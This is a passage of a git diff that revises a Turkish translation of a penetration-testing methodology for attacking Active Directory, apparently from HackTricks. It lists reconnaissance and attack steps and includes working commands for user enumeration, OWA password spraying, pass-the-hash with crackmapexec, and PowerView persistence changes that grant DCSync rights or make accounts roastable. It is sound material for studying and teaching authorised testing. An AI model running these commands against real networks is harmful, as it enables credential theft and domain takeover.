bulunan birkaç ağaçtan oluşur. -**Active Directory Alan Hizmetleri (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: +**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: -1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir. +1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir. 2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler. 3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler. 4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar. @@ -29,14 +29,17 @@ Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Direc ### **Kerberos Kimlik Doğrulaması** -Bir AD'yi nasıl **saldıracağını** öğrenmek için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\ +Bir AD'yi **saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\ [**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md) ## Hile Sayfası AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz. -## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok) +> [!WARNING] +> Kerberos iletişimi, eylemleri gerçekleştirmek için **tam nitelikli ad (FQDN)** gerektirir. Bir makineye IP adresiyle erişmeye çalışırsanız, **NTLM kullanır ve Kerberos değil**. + +## Recon Active Directory (Kimlik bilgisi/oturum yok) Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz: @@ -45,7 +48,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın. -- **Smb hizmetlerinde null ve Misafir erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır): +- **Smb hizmetlerinde null ve Guest erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` @@ -57,7 +60,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - **Ldap'ı listele** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin): +- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (özellikle **anonim erişime** dikkat edin): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -65,11 +68,11 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - **Ağı zehirle** - Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın. -- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana bilgisayara erişin. -- Kimlik bilgilerini **açığa çıkararak** [**kötü amaçlı UPnP hizmetleri ile**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın. +- [**Relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir hosta erişin. +- Kimlik bilgilerini **açığa çıkararak** [**kötü niyetli UPnP hizmetleri ile**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın. - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- İç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) alan ortamları içinde ve ayrıca kamuya açık kaynaklardan kullanıcı adları/isimler çıkarın. -- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _NSoyad_, _N.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadN_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123). +- İç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) alan ortamları içinde ve ayrıca kamuya açık kaynaklardan kullanıcı adlarını/isimleri çıkarın. +- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123). - Araçlar: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -77,8 +80,8 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu ### Kullanıcı listeleme - **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin. -- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. -- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Bu yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir. +- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. +- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -92,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau ``` - **OWA (Outlook Web Access) Sunucusu** -Eğer ağda bu sunuculardan birini bulursanız, ona karşı **kullanıcı sayımı** da gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper) aracını kullanabilirsiniz: +Eğer ağda bu sunuculardan birini bulursanız, ona karşı **kullanıcı sayımı** da yapabilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper) aracını kullanabilirsiniz: ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz. +> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz. > > Ancak, bu adımda daha önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz. @@ -113,7 +116,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin: -- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir. +- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir. - [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!). - Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**. @@ -123,19 +126,19 @@ password-spraying.md ### LLMNR/NBT-NS Zehirleme -Bazı zorluk **hash'lerini** elde edebilmeniz mümkün olabilir, bu da **ağ** protokollerini **zehirleyerek** yapılabilir: +Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### NTLM İletimi +### NTLM Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**iletim saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. +Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. ### NTLM Kimlik Bilgilerini Çalma -Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya erişildiğinde **sizinle NTLM kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**: +Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **NTLM kimlik doğrulamasını tetikleyecek** (bir SCF dosyası gibi) **dosyalar yerleştirebilirsiniz**; böylece **NTLM zorluğunu çalabilirsiniz**: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -143,7 +146,7 @@ Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşıml ## Kimlik bilgileri/oturum ile Aktif Dizin Listeleme -Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu hatırlamalısınız.** +Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmayın**. Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz. @@ -160,12 +163,12 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük - [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info) - Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır - Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md) -- Aktif dizinde keşif için başka harika bir araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. +- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. - **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir. - Dizin listelemek için kullanabileceğiniz **GUI'ye sahip bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten. -- Ayrıca _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın. -- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı listeleyebilirsiniz. +- Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) için bakın. +- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz. - Ayrıca otomatik araçlar denemek isteyebilirsiniz: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) @@ -177,7 +180,7 @@ Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net use ### Kerberoast -Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olarak—**çözmeyi** içerir. +Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olan—**çözmeyi** içerir. Bununla ilgili daha fazla bilgi: @@ -191,9 +194,9 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi ### Yerel Yetki Yükseltme -Eğer ele geçirilmiş kimlik bilgilerine veya bir oturumda normal bir alan kullanıcısı olarak erişiminiz varsa ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme ve kimlik bilgilerini çalma** yolunu bulmaya çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile diğer kullanıcıların **hash'lerini bellekten (LSASS) ve yerel olarak (SAM) dökebilirsiniz.** +Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır. -Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. +Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında kapsamlı bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. ### Mevcut Oturum Biletleri @@ -209,9 +212,9 @@ Mevcut kullanıcıda **beklenmedik kaynaklara erişim izni veren** **biletler** Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.** -### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın** +### Bilgisayar Paylaşımlarında Kimlik Bilgilerini Ara | SMB Paylaşımları -Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla). +Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan** herhangi bir **ilginç dosya bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla). [**Kullanabileceğiniz araçlar hakkında bilgi almak için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) @@ -231,25 +234,25 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc printnightmare.md {{#endref}} -## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kimlik Bilgileri ile +## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkiler/oturum ile **Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kimlik bilgilerine ihtiyacınız var.** ### Hash çıkarımı -Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\ +Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere, yerel bir yönetici hesabını **tehlikeye atmayı başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\ Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\ [**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Hash'i Geç **Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ +Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash) ### Hash'i Aş/ Anahtarı Geç -Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. +Bu saldırı, **Kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. {{#ref}} over-pass-the-hash-pass-the-key.md @@ -257,13 +260,13 @@ over-pass-the-hash-pass-the-key.md ### Bileti Geç -**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar. +**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini çalar**; bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar. {{#ref}} pass-the-ticket.md {{#endref}} -### Kimlik Bilgileri Yeniden Kullanımı +### Kimlik Bilgilerini Yeniden Kullanma Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz. ```bash @@ -278,7 +281,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\ Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse, eğer kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ -**Veritabanları arasındaki bağlantılar, orman güven ilişkileri boyunca bile çalışır.** +**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** {{#ref}} abusing-ad-mssql.md @@ -313,7 +316,7 @@ resource-based-constrained-delegation.md ### ACL'lerin Kötüye Kullanımı -Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. +Ele geçirilmiş bir kullanıcı, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olabilir ve bu da size **yanal hareket etme**/**yetki yükseltme** imkanı verebilir. {{#ref}} acl-persistence-abuse/ @@ -321,7 +324,7 @@ acl-persistence-abuse/ ### Yazıcı Spooler Hizmeti Kötüye Kullanımı -Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**. +Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetki yükseltmek** için **kötüye kullanılabilir**. {{#ref}} printers-spooler-service-abuse.md @@ -346,7 +349,7 @@ laps.md ### Sertifika Hırsızlığı -Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir: +Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetki yükseltmenin bir yolu olabilir: {{#ref}} ad-certificates/certificate-theft.md @@ -354,7 +357,7 @@ ad-certificates/certificate-theft.md ### Sertifika Şablonlarının Kötüye Kullanımı -Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yükseltmek için kötüye kullanmak mümkündür: +Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetki yükseltmek için kötüye kullanmak mümkündür: {{#ref}} ad-certificates/domain-escalation.md @@ -377,25 +380,25 @@ Daha önce tartışılan bazı teknikler süreklilik için kullanılabilir.\ - Kullanıcıları [**Kerberoast**](kerberoast.md) için savunmasız hale getirin -```powershell +```bash Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r ``` - Kullanıcıları [**ASREPRoast**](asreproast.md) için savunmasız hale getirin -```powershell +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` - Bir kullanıcıya [**DCSync**](#dcsync) yetkileri verin -```powershell +```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` ### Gümüş Bilet -**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır. +**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve bunu **NTLM hash**'ini kullanarak gerçekleştirir (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet ayrıcalıklarına erişmek** için kullanılır. 